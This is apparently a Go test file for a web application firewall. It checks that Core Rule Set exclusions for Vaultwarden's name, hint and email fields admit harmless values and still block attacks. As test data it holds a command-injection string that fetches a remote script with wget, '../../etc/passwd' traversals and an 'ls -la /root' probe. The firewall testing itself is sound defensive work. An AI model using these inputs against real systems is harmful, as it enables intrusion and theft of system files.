package coreruleset_test import ( "encoding/base64" "encoding/json" "math/rand/v2" "net/http" "net/url" "slices" "strings" "testing" ) // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. const vaultwardenThreshold = 5 // Paths of Vaultwarden's API and admin page. const ( vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b" vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d" vaultwardenSignUp = "/identity/accounts/register/send-verification-email" vaultwardenFinishSignUp = "/identity/accounts/register/finish" vaultwardenPassword = "/api/accounts/password" vaultwardenProfile = "/api/accounts/profile" vaultwardenSettings = "/admin/config" vaultwardenSecurityKey = "/api/two-factor/webauthn" ) // vaultwardenEmail is a JSON body that sends an address in email. const vaultwardenEmail = `{"email":"VALUE"}` // vaultwardenField is a field Vaultwarden receives in plain text: the // request that sends it, and its body, with VALUE where the field's value // goes. type vaultwardenField struct { method, target, contentType, body string } // with returns f's body holding value, escaped as f's kind of body escapes // it. func (f vaultwardenField) with(t *testing.T, value string) string { t.Helper() escaped := url.QueryEscape(value) if f.contentType == jsonBody { quoted, err := json.Marshal(value) if err != nil { t.Fatal(err) } escaped = strings.Trim(string(quoted), `"`) } return strings.ReplaceAll(f.body, "VALUE", escaped) } // vaultwardenNameFields hold every field that skips 930120, 932120, 932250 // and 932260: the names and the password hints. // //nolint:gochecknoglobals // a constant cannot be a list var vaultwardenNameFields = []vaultwardenField{ { http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"alice@example.com","name":"VALUE"}`, }, { http.MethodPost, vaultwardenFinishSignUp, jsonBody, `{"email":"alice@example.com","masterPasswordHint":"VALUE"}`, }, { http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`, }, { http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`, }, { http.MethodPost, "/api/organizations", jsonBody, `{"name":"VALUE","billingEmail":"billing@example.com"}`, }, {http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`}, { http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`, }, { http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`, }, { http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`, }, { http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`, }, { http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`, }, } // vaultwardenAddressFields hold every field of a body that skips 930120, // 932120 and 932260: the email addresses. // //nolint:gochecknoglobals // a constant cannot be a list var vaultwardenAddressFields = []vaultwardenField{ { http.MethodPost, "/identity/connect/token", formData, "grant_type=password&username=VALUE&password=example&scope=api+offline_access", }, { http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail, }, { http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`, }, {http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail}, { http.MethodPost, vaultwardenFinishSignUp, jsonBody, `{"masterPasswordAuthentication":{"salt":"VALUE"}}`, }, { http.MethodPost, vaultwardenFinishSignUp, jsonBody, `{"masterPasswordUnlock":{"salt":"VALUE"}}`, }, { http.MethodPost, vaultwardenPassword, jsonBody, `{"authenticationData":{"salt":"VALUE"}}`, }, { http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`, }, { http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody, `{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`, }, { http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail, }, { http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`, }, { http.MethodPost, "/api/emergency-access/invite", jsonBody, `{"email":"VALUE","type":0}`, }, { http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`, }, { http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody, `{"emails":["alice@example.com","VALUE"],"type":2}`, }, { http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`, }, { http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`, }, { http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`, }, {http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail}, { http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail, }, { http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail, }, { http.MethodPut, "/api/two-factor/email", jsonBody, `{"email":"VALUE","token":"123456"}`, }, { http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`, }, } // vaultwardenBreachReport is the data breach report, which sends an address // in the query, ending in "=". const vaultwardenBreachReport = "/api/hibp/breach?username=" // vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused. // //nolint:gochecknoglobals // a constant cannot be a list var vaultwardenAddresses = []string{ "jane.profile@example.com", "python3.dev@example.com", "powershell@example.com", } // wantVaultwardenField checks that the Core Rule Set, reading bodies, // refuses f holding value, or lets it through. func wantVaultwardenField( t *testing.T, f vaultwardenField, value string, refused bool, ) { t.Helper() r := request{f.method, f.target, []string{f.contentType}} body := f.with(t, value) got, _ := inspectBody(t, readingBodies(t), r, body) if refused && got.Score < vaultwardenThreshold { t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got) } if !refused && got.Score >= vaultwardenThreshold { t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got) } } func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) { t.Parallel() for _, encoded := range hardValues { value, _ := url.QueryUnescape(encoded) for _, f := range vaultwardenNameFields { wantVaultwardenField(t, f, value, false) } } for _, value := range vaultwardenAddresses { for _, f := range vaultwardenAddressFields { wantVaultwardenField(t, f, value, false) } target := vaultwardenBreachReport + url.QueryEscape(value) if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold { t.Errorf("%s refused: %+v", target, got) } } } // vaultwardenAttacks are an SQL injection, a script injection, a shell // command and a path traversal. // //nolint:gochecknoglobals // a constant cannot be a list var vaultwardenAttacks = []string{ injection, scriptTag, "; wget http://example.com/x.sh", "../../etc/passwd", } func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) { t.Parallel() for _, attack := range vaultwardenAttacks { for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) { wantVaultwardenField(t, f, attack, true) } target := vaultwardenBreachReport + url.QueryEscape(attack) if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold { t.Errorf("%s let through: %+v", target, got) } } // An address keeps 932250, which refuses a listing of files. for _, f := range vaultwardenAddressFields { wantVaultwardenField(t, f, "ls -la /root", true) } } func TestVaultwardenExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := readingBodies(t) // A name keeps the rules on vault items and folders, whose names are // encrypted, on two-factor paths other than security keys', off // Vaultwarden's paths, and when the query has a field of the same name. for _, target := range []string{ "/api/ciphers", "/api/folders", "/x" + vaultwardenProfile, "/identity/other", "/api/two-factor/authenticator", vaultwardenProfile + "?json.name=python3", } { r := request{http.MethodPost, target, []string{jsonBody}} body := `{"name":"python3"}` if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold { t.Errorf("POST %s %s let through: %+v", target, body, got) } } for _, refused := range []struct{ target, body string }{ {"/admin/other", `{"invitation_org_name":"python3"}`}, {vaultwardenProfile, `{"culture":"python3"}`}, {"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`}, } { r := request{http.MethodPost, refused.target, []string{jsonBody}} got, _ := inspectBody(t, crs, r, refused.body) if got.Score < vaultwardenThreshold { t.Errorf( "POST %s %s let through: %+v", refused.target, refused.body, got, ) } } r := request{http.MethodPost, "/identity/other", []string{formData}} got, _ := inspectBody(t, crs, r, "username=python3") if got.Score < vaultwardenThreshold { t.Errorf("POST %s username=python3 let through: %+v", r.target, got) } target := "/api/hibp/other?username=python3" if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold { t.Errorf("%s let through: %+v", target, got) } } // vaultwardenUpload returns a multipart body that uploads a file named name. func vaultwardenUpload(name string) string { return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name + "\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end } func TestVaultwardenAdminTokenPasses(t *testing.T) { t.Parallel() wantPasswordFieldsPass(t, []passwordFields{ {"/admin", formData, []string{"token"}}, }) } // masterPasswordHashes returns count random 32-byte hashes in base64, the // form in which the apps send a master password. func masterPasswordHashes(count int) []string { const size, seed = 32, 288 //nolint:gosec // a fixed sample random := rand.New(rand.NewPCG(seed, seed)) hashes := make([]string, count) for i := range hashes { hash := make([]byte, size) for j := range hash { hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256 } hashes[i] = base64.StdEncoding.EncodeToString(hash) } return hashes } // The apps hash the master password before they send it, so these fields // hold only base64 and set off no rule, with no exclusion. func TestVaultwardenMasterPasswordHashesPass(t *testing.T) { t.Parallel() const perBody = 20 crs := readingBodies(t) hashes := masterPasswordHashes(perBody) for _, sent := range []struct { r request names []string }{ { request{http.MethodPost, "/identity/connect/token", []string{formData}}, []string{passwordKey}, }, { request{http.MethodPost, vaultwardenPassword, []string{jsonBody}}, []string{"masterPasswordHash", "newMasterPasswordHash"}, }, { request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}}, []string{"masterPasswordHash"}, }, } { body := passwordBody(t, sent.r, sent.names, hashes...) if len(body) > bodyLimit { t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body)) } if got, _ := inspectBody(t, crs, sent.r, body); len( got.RuleIDs, ) != 0 { t.Errorf( "POST %s %v set off rules: %+v", sent.r.target, sent.names, got, ) } } } func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) { t.Parallel() crs := readingBodies(t) encrypted := vaultwardenUpload( "2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=", ) for _, target := range []string{ vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a", vaultwardenCipher + "/attachment", vaultwardenCipher + "/attachment-admin", vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share", "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796", } { r := request{http.MethodPost, target, []string{multipart}} if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold { t.Errorf("POST %s refused: %+v", target, got) } // The names of uploaded files keep the other rules: a path // traversal and a PHP script are still refused. for _, name := range []string{"../../etc/passwd", "x.php"} { got, _ := inspectBody(t, crs, r, vaultwardenUpload(name)) if got.Score < vaultwardenThreshold { t.Errorf("POST %s %s let through: %+v", target, name, got) } } } for _, target := range []string{"/upload", vaultwardenCipher + "/other"} { r := request{http.MethodPost, target, []string{multipart}} if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold { t.Errorf("POST %s let through: %+v", target, got) } } }